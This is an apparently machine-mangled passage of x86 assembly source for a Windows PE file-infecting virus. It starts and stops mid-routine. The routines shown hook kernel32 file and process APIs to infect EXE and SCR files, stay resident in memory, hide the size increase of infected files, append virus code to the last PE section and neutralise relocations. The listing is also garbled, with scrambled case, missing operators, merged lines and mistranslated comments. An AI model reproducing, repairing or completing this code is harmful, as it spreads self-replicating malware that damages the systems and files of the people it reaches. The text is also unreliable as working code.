Pushhad; Get RVA Start of Relocation section ..

Lea ESI, [EBX.MZ_LFANEW]

SUB EDI, EBX

Add ESI, [ESI]

MOV ECX, [ESI.NT_OPTIONALHEADER /; GET SIZE OF RELOCATION DIR.

.Oh_directoryentries /

.De_basereelococ /

.Dd_size /

-Mz_lfanew]

Jecxz _POPAD

Mov ESI, [ESI.NT_OPTIONALHEADER /; GET RVA TO RELOCATION Section

.Oh_directoryentries /

.De_basereelococ /

.Dd_virtualaddress /

-Mz_lfanew]

Call redo_reloc; Pass adress of fix_relocs label as a parameter

FIX_RELOCS:; Process Relocation Block and Look for Nulified Relocationz ..

Lodsw; Get Relocation Item

CWDE

Dec EAX

.IF SIGN?

JNC f_next_reloc; if first item, jump to get Next Relocation Item

.endif

TEST AH, MASK RD_RELOCTYPE SHR 8; is RELOCATION NULIFIED?

JNZ f_next_reloc; no, jump to get next relocation item

Lea EAX, [EAX EBX 5]

CMP EDI, EAX; RELOCATION ITEM POINTS INSIDE CHUNK OF CODE?

JNC f_next_reloc; no, jump to get next relocation item

Add Eax, -4

CMP EAX, EDX

JNC f_next_reloc; no, jump to get next relocation item

; relocation item is pointing inside chunk of code .. add delta to fix it ..

Pushhad

MOV EBX, [ESP. (4 * pshd) .cpushad.pushad_ebx]; Get Actual Host Base AdRess

MOV EBP, [EBX EDI - 4]

MOV ECX, [ESP. (3 * pshd). (2 * cpushad) .arg3]; Get Pointer to Chunk of Code Inside Code Table

MOV EBX, [EBX EDX]

XCHG EBP, [ECX - 4]

SUB ECX, EDI

MOV ESI, [ESP. (4 * pshd) .cpushad.pushad_ecx]; Get Relocation Delta To Add

XCHG EBX, [EDX ECX]

Add [EAX ECX], ESI; Add Delta .. (AACK! DAMNED RELOCATIONZ ..)

MOV [EDX ECX], EBX

Popad

CLC

f_next_reloc:

Loop fix_relocs; get next reelocation item

RET

REDO_RELOC:

Call get_relocs

_POPAD: POPAD

WRITE_CHUNK:

Call [EBP DDWRITEPROCESSMORY - EBP_NUM]; Write Chunk of Code to the code Section

XCHG ECX, EAX

POP EDX

CLD

POP EAX

JECXZ N_HOST; if Error, Jump and Try to stay resident without jumpin back to host

XOR Edx, EAX

Lodsw; Get Pointer To Next Chunk of code to patch, if any

JNZ N_Host; if Error, Jump and try to stay resident without jumpin back to host

CWDE

XCHG ECX, EAX

Sub EDI, ECX

Jecxz Go_resident; No more chunkz, Jump and try to stay resident, the jump back to host

JMP GET_COUNT; JUMP AND PATCH THE NEXT CHUNK

N_HOST: POP Eax; Unwind Return AdRess, An Error Occured, Cant Jump To Host :(

GO_RESIDENT:

Lea ESI, [EBP FINDDATA - EBP_NUM]

PUSH MAX_PATH

PUSH ESI

Push ECX

Call [EBP DDGETMODULEFILENAME - EBP_NUM]; GET HOST FileName

XCHG ECX, EAX

Lea EBX, [EBP JMP_ADDR_TABLE - EBP_NUM]; Get Pointer to Start of Jump AdRess Table

JECXZ G_HOST

Call Open & MapFile; Open Host FileName and Memory-Map IT

g_host: jecxz jmp_host; if error, jump back to host

Push Page_execute_readwrite

Push Mem_Commit or MEM_RESERVE or MEM_TOP_DOWNPUSH (Virtual_END2 - CODE_START 3) and -4

Push ESI; NULL; Let OS Choose Memory Adression

Call [EBP DDVIRTUALLOC - EBP_NUM]; Allocate Enough Memory for Virus Code and Bufferz

Lea ECX, [EBP FUNCTIONNAMEZ2 - EBP_NUM]; Get Pointer to START OF FUNCTION NAMEZ to HOOK

MOV EDI, NON_RES - CODE_START

XCHG ECX, EAX; Get Size of New Allocated Block

Lea ESI, [ECX Pathnamez - Code_Start]

Jecxz close_jmp_host; if Error On Virtualalloc, Close File and Jump To Host

XCHG EDI, ECX; Get Target Adression of New Allocated Block

MOV [EBP PPATHNAMEZ - EBP_NUM], ESI; Initialize Pointer To Store Future Pathnamez Retrieved by Find (First / Next) File (A / W)

MOV ESI, EDI

XCHG [EBP PCODE_START - EBP_NUM], ESI; GET Source Adression of Virus Code and Store New Target Adression AS New Source AdRess

Lea EDX, [EDI ECX JMP_TABLE_SIZE 1]

MOV [EBP PNEWAPIS - EBP_NUM], EDX; Initialize Pointer to Store Hooked APIS in The New Jump Table

CLD

Rep Movsb; Copy Virus Code to New Allocated Block

MOV [ESI], Cl; FORCE A NULL TO MARK The End of Function Namez To Hook

POP ECX; Get Start of Memory-Maped File

Inc EDI; GET POINTER TO NEWAPITABLE

Push ECX

Hook_api:; hook API FunctionZ, Retrieve Old API adress and build new api entry Into jump table ..

Pushhad

Call IgetProcadDressit; Get RVA Pointer of API Function Inside Import Table

Test Eax, EAX

JZ NEXT_API_HOOK; if not found, Jump and get next API Name

Add Eax, [EBP Phost_HDR - EBP_NUM]; Convert RVA TO REAL POINTER BY Addin The Actual Host Base AdRess

MOV EDX, ESP

Push EAX

PUSH ESP

XCHG ESI, EAX

MOV Al, 0B8H; Build "Mov Eax ,?" Instruction Into Jump Table

Push 4

Push Edx

Stosb

Call [EBP DDGETCURRENTPROCESS - EBP_NUM] PUSH ESI

Push EAX

CLD

Movsd; Get and Copy Old API adRESS INTO JUMP TABLE

Call [EBP DDWRITEPROCESSMORY - EBP_NUM]; Setur Api Hook

CLD

MOV Al, 0e9h; Build "JMP?" instruction to jump to new api handler

POP EDX

POP ECX

Stosb

Movzx Eax, Word PTR [EBX]; Build Relative Offset To New API Handler

Sub Eax, EDI

Add Eax, [EBP PCODE_START - EBP_NUM]

Stosd

Push EDI

Next_API_HOK:

Popad

Inc EBX

XCHG ESI, EAX

@Endsz; get Pointer to Next API Name

Inc EBX

CMP [ESI], Al; Check End of Api Namez to Hook

XCHG Eax, ESI

JNZ Hook_api; Jump and Get Next API, IF Theree More Apiz To Hook

Close_JMP_HOST:

Call Close & Unmapfile; Close and Unmap Host File

JMP_HOST:

CLD

POP EAX

JMP EAX; JMP to Host .. or try to quit Aplication if an error occupied While Patchin The code Section

New GetProcaddr:; New getProcaddress API Entry Point .. hook Wanted API FunctionZ from kernel32 ..

Call apicall @ n_2; call old getProcadress API and Retrieve API AdRess in EAX

Pushhad

MOV ECX, [ESP.CPUSHAD.Arg1]; Get Module Handle / Base AdRess

Call get_ebp; get ebp to reference, Internal Variablez Correctly

XCHG ECX, EAX

JECXZ END_GETPROC; Get Out if Retrieved API adress is Zero

SUB EAX, [EBP K32MOD - EBP_NUM]; Is IT KERNEL32 BASE ADRESS?

JNZ end_getproc; no, get out

Lea EDX, [EBP JMP_ADDR_TABLE - 2 - EBP_NUM]; YEA ITS KERNEL32, GET POINTER TO START OF JUMP TABLE

Lea EDI, [EBP FUNCTIONNAMEZ2 - 1 - EBP_NUM]; Get Pointer To API Function Namez To Hook

CLD

n_gproc_next_str:; search specified API Function Name from the list of posible api namez to hook ..

Inc EDX

ScaSB; Get AdRess to next API Function Name

JNZ $ - 1

Mov ESI, [Esp.cpushad.arg2]; Get Pointer to Specified API Function NameInc EDX

Scasb

JZ end_getproc; if End of api namez reached, get out

Dec Edi

n_gproc_next_chr:

Cmpsb; do API Namez Match?

JNZ N_GPROC_NEXT_STR; NO, Get Next API Name

Dec Edi

Scasb

JNZ N_GPROC_NEXT_CHR

N_gProc_apis_match:; API Namez Match, We need to hook the api ..

Lea EBX, [EBP NEWAPITABLE NAPIS - 10 - EBP_NUM]; GET TOP OF JUMP TABLE

MOV EDI, [EBP PNEWAPIS - EBP_NUM]; Get Current Pointer to Build New API Entry

CMP EBX, EDI; Check IF Jump Table Is Full

JC END_GETPROC; GET OUT IF FULL

Push EDI

SUB Al, -0b8h; build "Mov Eax ,?" Instruction Into Jump Table

Stosb

POP EAX

Xchg Eax, [ESP.PUSHAD_EAX]; Retrieve Old API AdRess and Swap with the New API AdRess

Stosd

MOV Al, 0e9h; Build "JMP?" instruction to jump to new api handler

Stosb

Movzx Eax, Word PTR [EDX]; Build Relative Offset To New API Handler

Sub Eax, EDI

Add Eax, [EBP PCODE_START - EBP_NUM]

Stosd

MOV [EBP PNEWAPIS - EBP_NUM], EDI; Update Pointer to Next Api Entry In The Jump Table

END_GETPROC:

Popad

RET (2 * pshd); return to caller

JMP_addr_table:; adRess Table .. Contains Relative Offsetz To New API Handlerz ..

DW newgetProcaddr - Code_Start - 4

DW newgetfileattra - Code_Start - 4

DW NewGetFileAtTrw - Code_Start - 4

DW newMovefileExa - Code_Start - 4

DW newMovefileExw - Code_Start - 4

DW new_lopen - Code_Start - 4

DW NewcopyFilea - Code_Start - 4

DW newcopyFilew - Code_Start - 4

DW newopenfile - Code_Start - 4

DW newMovefilea - Code_Start - 4

DW newMoveFilew - Code_Start - 4

DW newcreateProcessa - Code_Start - 4

DW newcreateProcessw - Code_Start - 4

DW newcreatefilea - Code_Start - 4

DW newCreateFilew - Code_Start - 4

DW newfindclosex - code_start - 4DW newfindfirstfilea - code_start - 4

DW newfindfirstFilew - Code_Start - 4

DW newfindnextFilea - Code_Start - 4

DW newfindnextFilew - Code_Start - 4

DW newsetfileattra - Code_Start - 4

DW NEWSETFILEATTRW - CODE_START - 4

JMP_TABLE_SIZE = $ - JMP_ADDR_TABLE

NewsetFileAtTrw:; New API Handlerz (Unicode Version) ..

NewCreateFilew:

NewcreateProcessw:

NewMoveFilew:

NewcopyFilew:

NewMoveFileExw:

NewGetFileAtTRW:

CommonProcessw:

Test al ,?; Clear Carry (Unicode Version)

Org $ - 1

NewsetFileAttra:; New API Handlerz (ANSI VERSION)..

NewCreateFilea:

NewCreateProcessa:

NewMovefilea:

NEWOPENFILE:

NewcopyFilea:

NEW_LOPEN:

NewMovefileExa:

NewGetFileAttra:

CommonProcessa:

STC; SET Carry (ANSI Version)

Pushhad

Call get_ebp2_uni2ansi; Get EBP TO REFERENCE INTERNAL VARIABLEZ CORRECTLY AND CONVERT UNICODE STRING TO ANSI (for Unicode Version Apiz)

JECXZ JMP_OLD_API

Call Findfirst; Get Atributez, Size of File and Check IF IT EXISTS

JZ JMP_OLD_API

Dec EAX

Push Eax; Save Search Handle

@copysz; Copy FileName to an Internal Buffer

Call process_file2; try to infect file ..

NCF_Close:

Call [EBP DDFINDCLOSE - EBP_NUM]; Close File Search

JMP_OLD_API:

Popad

JMP EAX; Jump to Original API AdRess

NewFindFirstFilew:; New Findfirst API Handler .. Infect Files, Stealth (Unicode Version)

Test al ,?; Clear Carry (Unicode Version)

Org $ - 1

NewFindFirstFilea:; New Findfirst API Handler .. Infect Files, Stealth (ANSI Version)

STC; SET Carry (ANSI Version)

Call Apicall @ n_2; call old findfirst API

Pushhad

Inc Eax; if any error, get out

JZ Go_RET_2PSHD

Dec EAX

JZ Go_RET_2PSHD

Call get_ebp2_uni2ansi; Get EBP TO REFERENCE INTERNAL VARIABLEZ CORRECTLY AND CONVERT Unicode String To ANSI (for Unicode Version Apiz) Jecxz Go_Ret_2pshd

MOV EDI, [EBP PPATHNAMEZ - EBP_NUM]; GET POINTER TO New Entry In Pathnamez Table

Lea EBX, [EBP PATHNAMEZ NPATHNAMEZ - MAX_PATH - EBP_NUM]; Get Top Of Pathnamez Table

CMP EDI, EBX

JNC Go_Ret_2pshd; if not enough Space to store filename, Jump

MOV EBX, EDI

@copysz; Copy FileName to Pathnamez Table

NEXT2_FF: MOV Al, [EDI - 1]; Get End of path ..

Add Al, - '/'

JZ EOP_FF

SUB Al, ':' - '/'

JZ EOP_FF

Dec Edi

CMP EBX, EDI

JC Next2_FF

XOR Al, Al

EOP_FF: Stosb; Force Null To Split Path from FileName

MOV [EBP PPATHNAMEZ - EBP_NUM], EDI; UPDATE POINTER TO Next Entry in Pathnamez Table

Call get_handle_ofs_0; Get New Free Entry In Handlez Table

JC Go_RET_2PSHD

MOV EAX, [ESP.PUSHAD_EAX]; Get Handle Returned by Findfirst

Store Handle Into Handlez Table

XCHG EAX, EBX

StOSD; Store Pointer To Asociated Pathname Into Handlez Table As Well

MOV [EBP PHANDLEZ - EBP_NUM], EDI; UPDATE POINTER TO Next Entry in Handlez Table

XCHG ESI, EAX

JMP FINDCOMMON

GO_RET_2PSHD: POPAD; RETURN TO CALLER

Ret (2 * pshd)

NewFindNextFilew:; New Findnext API Handler .. Infect Files, Stealth (Unicode Version)

Test al ,?; Clear Carry (Unicode Version)

Org $ - 1

NewFindNextFilea:; New FindNextt API Handler .. Infect Files, Stealth (ANSI Version)

STC; SET Carry (ANSI Version)

Call Apicall @ n_2; call old findnext API

Pushhad

Call get_handle_ofs_ebp; Get Correct Entries In Handlez Table Acordin to Handle

JC Go_RET_2PSHD

MOV ESI, [EDI 4]; Get Respective Pathname

Findcommon: Lea EDI, [EBP PATHNAME - EBP_NUM]

@copysz; Copy Pathname To Respective BufferDec Edi

MOV EBX, [Esp.cpushad.arg2]; GET WIN32_FIND_DATA Parameter

OR Al, [EBP UNI_OR_ANSI - EBP_NUM]; Check if ITS ANSI or Unicode

Lea ESI, [EBX.WFD_SZFILENAME]; GET FileName

JNZ ITS_ANSI_FC

Call uni2ansi; ITS Unicode, Convert to Ansi and Atach FileName to Pathname

ITS_ANSI_FC: Call Process_File3; Try To Infect File

Call get_size; get file size

JNZ GO_RET_2PSHD

TEST [EBX.WFD_NFILESZELOW.HIW.HIB], 1111100B; FILESIZE> 64MB?

JNZ Go_RET_2PSHD; YEA, File Too Large, Jump

Div ECX

Dec edx

JNS GO_RET_2PSHD; IF Not Infected, Jump, Stealth Not Necesary

Call Check_pe_file; File Is Infected, Do Size Stealth

JMP Go_RET_2PSHD

NewFindClosex: MOV CL, 1

Call Apicall @ n; Call Old FindClose API

Pushhad

Call get_handle_ofs_ebp; Get Correct Entries In Handlez Table Acordin to Handle

JC Go_RET_PSHD

Lea ESI, [EDI 4]

MOV ECX, [EBP PHANDLEZ - EBP_NUM]

Lodsd

Sub ECX, ESI

Pushhad

XCHG ESI, Eax; Remove Pathname Entry

MOV ECX, [EBP PPATHNAMEZ - EBP_NUM]

Mov EDI, ESI

@endsz

Sub ECX, ESI

MOV [ESP.PUSHAD_EBX], ECX

REP MOVSB

MOV [EBP PPATHNAMEZ - EBP_NUM], EDI; UPDATE POISTER TO HANDLEZ TABLE

Popad

SHR ECX, 3; Remove Handle Entry

JZ Seth_fc

FIXPPATHNAMEZ: MOVSD

Lodsd

Sub Eax, EBX

Stosd

Loop fixpathnamez

SETH_FC: MOV [EBP PHANDLEZ - EBP_NUM], EDI; UPDATE POISTER TO PATHNAMEZ TABLE

Go_ret_pshd: popad

RET (PSHD)

Open & mapfile proc; Open and map file in read Only MODE

On Entry:

ESI = PSZFileName (Pointer to File Name)

ON EXIT:

ECX = 0, IF Error

; ECX = base adress of memory-map file, IF OK

XOR EDI, EDI

Open & mapfileadj:; Open and map file in read / write mode

On Entry:

; EDI = File Size Work Space (in Bytes); ESI = PszFileName (Pointer to File Name)

ON EXIT:

ECX = 0, IF Error

; ECX = base adress of memory-map file, IF OK

EDI = Old File Size

XOR EAX, EAX

Push Eax; 0

Push eax; file_attribute_normal

Push Open_EXISTING

Push eax; null

MOV Al, 1

Push eax; file_share_read

Ror Eax, 1; Generic_Read

MOV ECX, EDI

JECXZ $ 4

RCR EAX, 1; Generic_Read generic_write

Push EAX

Push ESI; PSZFileName

Call [EBP DDCREATEFILEA - EBP_NUM]; OPEN FILE

CDQ

XOR ESI, ESI

INC EAX

JZ end_open & mapfile; if error, jump

Dec EAX

Push Eax; Push First Handle

Push edx; null

Push EDI; File Size Buffer Size

Push EDX; 0

Mov DL, Page_Readonly

MOV ECX, EDI

JECXZ $ 4

SHL DL, 1; Page_Readwrite

Push Edx

Push ESI; NULL

Push Eax; Handle

Call [EBP DDCREATEFILEMAPPINGA - EBP_NUM]; CREATE FILE MAPPING

CDQ

XCHG ECX, EAX

JECXZ END_OPEN & MAPFILE2; if Error, Close Handle and Jump

Push Ecx; Push Second Handle

Push EDI; File Size Buffer Size

Push EDX; 0

Push EDX; 0

MOV DL, FILE_MAP_READ

Test EDI, EDI

.IF! ZERO?

SHR DL, 1; File_Map_Write

Mov Edi, [EBX.WFD_NFILESZELOW]

.endif

Push Edx

Push Ecx; Handle

Call [EBP DDMAPVIEWOFFILE - EBP_NUM]; MAP View of File

XCHG ECX, EAX

JECXZ END_OPEN & MAPFILE3

Push Ecx; Push Base AdRess of Memory-Maped File

JMP [ESP. (3 * pshd) .retaddr]; Jump To Return AdRess Leavin Parameterz in The Stack

Open & mapFile Endp

Close & UnmapFile Proc; Close and Unmap File Previosly Opened in Read Only Mode

XOR EDI, EDI

Close & UnmapFileadj:; Close and Unmap File Previosly Opened in Read / Write Mode

POP [ESP. (4 * pshd) .retaddr - pshd]

Call [EBP DDUNMAPVIEWOFFILE - EBP_NUM]; Unmap View of Filend_Open & MapFile3:

Call [EBP DDCLOSEHANDLE - EBP_NUM]; Close Handle

MOV ECX, EDI

JECXZ END_OPEN & MAPFILE2; if Read-Only Mode, JUMP

POP EAX

Push EAX

Push EAX

XOR ESI, ESI

PUSH ESI

PUSH ESI

Push EDI

Push EAX

Xchg EDI, EAX

Call [EBP DDSETFILEPOINTER - EBP_NUM]; Move File Pointer to the Real End of File

Call [EBP DDSETENDOFFILE - EBP_NUM]; Truncate File At Real End of File

Lea eax, [ebx.wfd_ftlastwritetime]

Push EAX

PUSH ESI

PUSH ESI

Push EDI

Call [EBP DDSETFILETIME - EBP_NUM]; Restore Original Date / Time Stamp Field

END_OPEN & MAPFILE2:

Call [EBP DDCLOSEHANDLE - EBP_NUM]; Close Handle

END_OPEN & MAPFILE:

XOR ECX, ECX

RET

Close & UnmapFile Endp

Get_EBP2_UNI2ANSI:; this function sets ebp register to reason in Internal

; Variablez Correctly and Also Converts Unicode

Strings to ANSI (for Unicode Version Apiz ".

This function is only useful at the resident.

On Entry:

; TOS 28H (pshd.cpushad.arg1): Pointer to Specified File Name

ON EXIT:

ECX = 0, IF Error

Mov ESI, [ESP. (Pshd) .cpushad.arg1]; Get Source Pointer to Specified File Name

Call get_ebp2; get actual eBP

Lea EDI, [EBP PATHNAME - EBP_NUM]; GET TARGET POINTER TO INTERNAL BUFFER

JC ANSIOK

Uni2ansi:; this function converts an affinity to a unicode string

On Entry:

ESI = Pointer to Specified File Name

ON EXIT:

ECX = 0, IF Error

XOR EAX, EAX

Push eax; null

Push eax; null

PUSH MAX_PATH

Push Edi; Target Pointer

Push -1

Push ESI; SOURCE POINTER

Push EAX

Push Eax; CP_ACP

Call [EBP DDWIDECHARTOMULTIBYTE - EBP_NUM]

MOV ESI, EDI

ANSIOK: XCHG ECX, EAX

CLD

RET

RVA2RAW Proc; this function converts RVA Valuez to Raw Pointerz Inside PE; Filez. This function is speciaload

Filez.

Given a RVA Value, this function returns the start adies

And Size of the section Containin IT, Plus ITS Relative

Delta Value Inside the Section.

On Entry:

EAX = RVA Value

EBP = START OF MEMORY-MAPED File (MZ HEADER)

ESI = Start of Pe Header 3ch

ON EXIT:

EBP = Raw Size of Section

EBX = RAW Start of Section

ECX = 0, if not found

Start of Respective Section Header ( Section Header)

Size, if found

Edx = RVA START OF SECTION

ESI = Relative Delta of RVA Value Inside Section.

Movzx ECX, Word Ptr [ESI.NT_FILEHEADER /; GET NUMBER OF Sectionz

.Fh_numberofsections /

-Mz_lfanew]

JECXZ END_RVA2RAW

Movzx EBX, Word Ptr [ESI.NT_FILEHEADER /; GET First Section Header

.Fh_sizeofoptionalHeader /

-Mz_lfanew]

Lea EBX, [ESI.NT_OPTIONALHEADER EBX - MZ_LFANEW]

x = image_sizeof_section_header

Match_virtual:; Scan Each PE Section Header and Determine IF Specified RVA

Value Points INSIDE

Mov ESI, EAX

Mov edx, [ebx.sh_virtualaddress]

SUB ESI, EDX

SUB EBX, -X

CMP ESI, [EBX.SH_VIRTUALSIZE - X]; Is RVA Value Pointin Inside Current Section?

JB Section_Found; Yea We Found The Section, Jump

LOOP MATCH_VIRTUAL; NOPE, Get Next Section

END_RVA2RAW:

RET

RVA2RAW ENDP

GET_HANDLE_OFS_EBP:; this function sets ebp register to reason in Internal

Variablez Correctly and Also Given a Handle, IT Gets

a pointer to an entry in the handlez table.

This function is only useful at the resident.

On Entry:

; TOS 28H (pshd.cpushad.arg1): Specified Handle

ON EXIT:

EDI = Pointer to Entry in Handlez Table; Carry Clear, IF OK

Carry set, IF Error

XCHG ECX, EAX

JECXZ END_GHO_STC

Call get_ebp2

MOV ECX, [ESP. (PSHD) .cpushad.arg1]; Get Handle

JECXZ END_GHO_STC

XCHG EAX, ECX

CMP AX,?

ORG $ - 2

GET_HANDLE_OFS_0:; Gets a Pointer to an Empty Entry in the Handlez Table

This function is only useful at the resident.

ON EXIT:

EDI = Pointer to Entry in Handlez Table

Carry Clear, IF OK

Carry set, IF Error

Sub Eax, EAX

Get_handle_ofs:; Given a Handle, this function Gets a Pointer

To an entry in the handlez table.

This function is only useful at the resident.

On Entry:

EAX = Specified Handle

ON EXIT:

EDI = Pointer to Entry in Handlez Table

Carry Clear, IF OK

Carry set, IF Error

Lea EDI, [EBP HANDLEZ - 8 - EBP_NUM]

Lea Edx, [EDI NHANDLEZ]

Next_Gho: scasd; add edi, 8

SCASD;

CMP EDX, EDI; TOP OF HANDLEZ TABLE REACHED?

JC End_Gho; Yea, Handle Not Found, Jump

CMP EAX, [EDI]; Do Handlez Match?

Jnz next_gho; no, check next handle, jump

Test Al ,?; Yea, Handle Found, Clear Carry

Org $ - 1

END_GHO_STC: STC; SET Carry

END_GHO: RET

Section_found:

x = image_sizeof_section_header

XCHG EBP, EBX

Add EBX, [EBP.SH_POINTERTORAWDATA - X]; Get Raw Start of Section

XCHG ECX, EBP

MOV EBP, [ECX.SH_SIZEOFRAWDATA - X]; Get Raw Size of Section

CLD

RET

GET_RELOCS:; this Comon Funtion is Called from Both Instalation and

Infection Stage.

IT Simply Locates Each Relocation Block in The .Reloc Section

And calls a function to (a) Nulify Those Dangerous Reloca-

; Tionz In a Block (Infection Stage) OR (b) to FIX THE CODE

Pointed to by Such Marked Relocationz (INSTALATION STAGE).

On Entry:

EDI = RVA Start Pointer to Chunk of Code; TOS 04H (arg1): fix_relocs label function adness (Instalation Stage)

OR

NUL_RELOCS Label Function AdRess (Infection Stage)

; TOS 00h (Return AdRess)

Add ESI, EBX; Get Start of Relocation Section In Aplication Context

Add Edx, EDI; Get End AdRess of Chunk Code

Lea EBP, [ECX ESI]; Get End of Relocation Section In Aplication Context

Process_reloc_blocks:

Lodsd

XCHG EBX, EAX; Get Start RVA for this block of relocationz

Lea ECX, [EBX 4096]; Get End RVA Where Relocationz Can Point In A Block

Lodsd; Get Size of Reloc Block

X = image_sizeof_base_relocation

Add Eax, -x

CMP EDI, ECX; RVA POIINTER INSIDE RELOCATION block? (Check Low Boundary)

Lea ECX, [EAX ESI]; Get Next Block AdRess

Push ECX

JNC Next_RELOC_BLOCK

SHR EAX, 1

CMP EBX, EDX; RVA POINTER INSIDE RELOCATION block? (Check High Boundary)

JNC Next_RELOC_BLOCK

XCHG ECX, EAX; Get Number of Relocationz for this block

JECXZ NEXT_RELOC_BLOCK

Call [ESP. (Pshd) .arg1]; Call fix_relocs function or num_relocs function

Next_reloc_block:

POP ESI; Get Next Block AdRess

Lea Eax, [ESI X]

CMP EAX, EBP; END OF RELOCATION blockz?

JC process_reloc_blocks; no, process the block, jump

RET (PSHD); Yea, No More Relocation Blockz, Return

Process_file3:; this function copies a filename to an internal buffer

And Checks the Extension Thru a list of infectable

EXTENSIONS (EXE AND SCR FILEZ for THE MOMENT). IF

The extension matches, The file will be infread.

@COPysz

MOV EDX, NOT 0F202020H; Upercase Mask

MOV ECX, [EDI-4]; Get FileName Extension

Lea ESI, [EBP EXTS - EBP_NUM]; GET POITETER TO LIST OF EXTENSIONZ

And ECX, EDX; Convert File Extension to Upercase

NEXT_EXT:

Lodsd; Get Extension from listdec al; no more extensionz?

JS end_pf3

And Eax, EDX; Convert Extension to Upercase

Dec ESI

XOR EAX, ECX; Do Extensionz Match?

JNZ next_ext

CMP BYTE PTR [EDI-5], '.'

JNZ end_PF3; NO, Get Next Extension

Call process_file2; yes, extensionz match, infect file

END_PF3: RET

ERR_RVA2RAW:

Popad; needed to unwind the stack from home function

ERR_RVA2RAW2:

Popad; needed to unwind the stack from home function

RET

Attach Proc; Attach Virus Code to Last Section In The PE File and

Change section characteristicz to reflect Infection.

On Entry:

ECX = Base of Memory-Maped File

EDI = Original File Size

ON EXIT:

EDI = New File Size

Lea ESI, [ECX.MZ_LFANEW]; Get Base of Pe Header 3CH

MOV EAX, [EBP PCODE_START - EBP_NUM]; Get Start Adression of Virus Code

Add ESI, [ESI]

Mov Edx, [ESI.NT_OPTIONALHEADER /; GET Built-in Image Base

.Oh_imagebase /

-Mz_lfanew]

Pushad; Save Valuez to Stack

XOR EAX, EAX

x = image_sizeof_section_header

SUB Al, -x

Mul Byte Ptr [ESI.NT_FILEHEADER /; GET NUMBER OF Sectionz

.Fh_numberofsections /

-Mz_lfanew]

Add Ax, Word Ptr [ESI.NT_FILEHEADER /; Get First Section Header

.Fh_sizeofoptionalHeader /

-Mz_lfanew]

JC ERR_RVA2RAW2

Lea EBX, [ESI.NT_OPTIONALHEADER - MZ_LFANEW EAX]

MOV EAX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT - MZ_LFANEW]

Mov Edx, [ESI.NT_OPTIONALHEADER.OH_FILALIGNMENT - MZ_LFANEW]

Dec EAX

Dec edx

OR EAX, EDX; Check Sectionalignment and FileAlignment Fieldz

CMP EAX, 10000H

JNC ERR_RVA2RAW2; TOO LARGE?

Add EDI, ECX; Get End of File In MM-File

INC Al

JNZ ERR_RVA2RAW2

Mov Eax, [ebx.sh_virtualaddress - x]

MOV EBP, ECX; Get MM-File Base Address

Add Eax, EDI

Add ECX, [EBX.SH_POINTERTORAWDATA - X]

Sub Eax, ECX; Get New RVA Entry Point; at this point:

;

; cpushad.eax = source adress of code to copy (Start at Encrypted Stringz)

; cpushad.ebx = Embedded (in peeader) Host Base Address

EBP = START OF MM-FILE. BASE Address of MM-File

EAX = New RVA Entry Point (Start of Virus Code RVA)

; Edx = file alignment - 1

; EDI = Target Adress Where Code Will Be copied to in the mm-file

; Ecx = start adress of last section in the mm-file

; EBX = Start Adression of last section header (Plus section header size)

; in the mm-file

ESI = START OF PE Header ( 3CH) in The MM-File

Pushhad

Mov Eax, [ESI.NT_OPTIONALHEADER /; GET CURRENT Entry Point

.Oh_addressofentryPoint /

-Mz_lfanew]

On Entry:

;

EAX = Host EntryPoint RVA

EBP = START OF MZ HEADER (START OF MM-File)

ESI = START OF PE Header 3CH (in mm-file)

Call Rva2Raw; Find True Code Section (CLUE: Entrypoint RVA Points Inside)

ON EXIT:

;

EBP = raw size of code section

EBX = RAW Start of Code Section

ECX = 0, if not found

Start of code section Header ( Section Header Size), IF FOUND

; Edx = start of code section rva

ESI = Relative Delta of RVA INSIDE CODE Section.

Jecxz Err_RVA2RAW; Code Section Not Found, Invalid Entrypoint

Pushhad

MOV EBP, ESP

MOV EDX, [EBP. (2 * cpushad) .pushad_ebp]; get Original EBP

x = image_sizeof_section_header

Or byte ptr [ECX.SH_CHARACTERISTICS.HIW.HIB - X], 20H; SET EXEC BIT TO Section

EXEC_SET:

MOV ESI, [EDX ImportHDR - EBP_NUM]; Get Import Section Header

XOR ECX, ESI; Is Import Table INSIDE CODE SECTION?

JZ IT_IN_CODE; YEA, JUMP

Import Table Not Inside Code Se (I. PROBABLY EXISTS An .IData Section)

OR BYTE PTR [ESI.SH_CHARACTICS.HIW.HIB - X], 80H; Set Writable Bitit_in_code:; Import Table ISIDE CODE Section (Stupid Microsoft)

No need to set the Writable bit (The Exec Bit Does the Job)

SUB ECX, ECX

Push EDI; Need this value L8R, Push IT

MOV CL, 5

SUB EAX, 0B2FD26A3H

SUB_1ST_VAL = DWORD PTR $ - 4

Add Edi, Ecx; Add Edi, 5

Stosd

Push EDI

MOV EAX, ECX; AX = 5

Stosw

SUB Al, - 0E9H 5; Al = E9H

Stosb

Mov Eax, [ebp.cpushad.pushad_eax]; Get RVA Start of Virus Code

Sub eAX, [ebp.pushad_eax]

Sub Eax, Ecx; Sub Eax, 5

Stosd

XOR EAX, EAX

POP ESI

Stosw; 0

Mov edi, [ebp.pushad_eax]

Nulify_relocs:; Nulify Relocs That COULD OVERWRITE OUR INSERTED Chunks of Code ..

Push EDI

Lodsw

CWDE

Pushhad

MOV ESI, [EBP.CPUSHAD.PUSHAD_ESI]; Get PE Header ( 3CH)

MOV ECX, [ESI.NT_OPTIONALHEADER /; GET SIZE OF RELOCATION BLOCKZ

.Oh_directoryentries /

.De_basereelococ /

.Dd_size /

-Mz_lfanew]

JECXZ Go_POPAD; No Relocationz, Jump

Push Eax; Save Size of this Chunk of code Temporarily

Push ECX

MOV EBP, [ebp.cpushad.pushad_ebp]; get base of mm-file (mz header)

Mov Eax, [ESI.NT_OPTIONALHEADER /; GET RVA START OF RELOCATION BLOCKZ

.Oh_directoryentries /

.De_basereelococ /

.Dd_virtualaddress /

-Mz_lfanew]

Call Rva2Raw; Convert RVA TO A RAW Offset Inside The Section

POP EAX

Pop Edx; Retrieve Size of this Chunk of code Temporarily

JECXZ Go_POPAD

XCHG ECX, EAX

Call mark_reloc; pass nul_relocs as a parameter to get_relocs function

NUL_RELOCS:

Lodsw; Get Relocation Item

CWDE

Ror Eax, 3 * 4

Add Al, - Image_rel_Based_Highlow; Check Relocation Type

JNZ N_Next_reloc; Not Valid, Get Next Relocation Item

SHR EAX, 5 * 4; Strip or Blank Relocation Type Field from Relocation Item

Lea EAX, [EAX EBX 4]; Convert Relocation Pointer to RVACMP EDI, EAX; Check if Relocation Points To Our Chunk of Code ..

JNC N_Next_reloc; Check Low Boundary

Add Eax, -4

CMP Eax, EDX; Check High Boundary

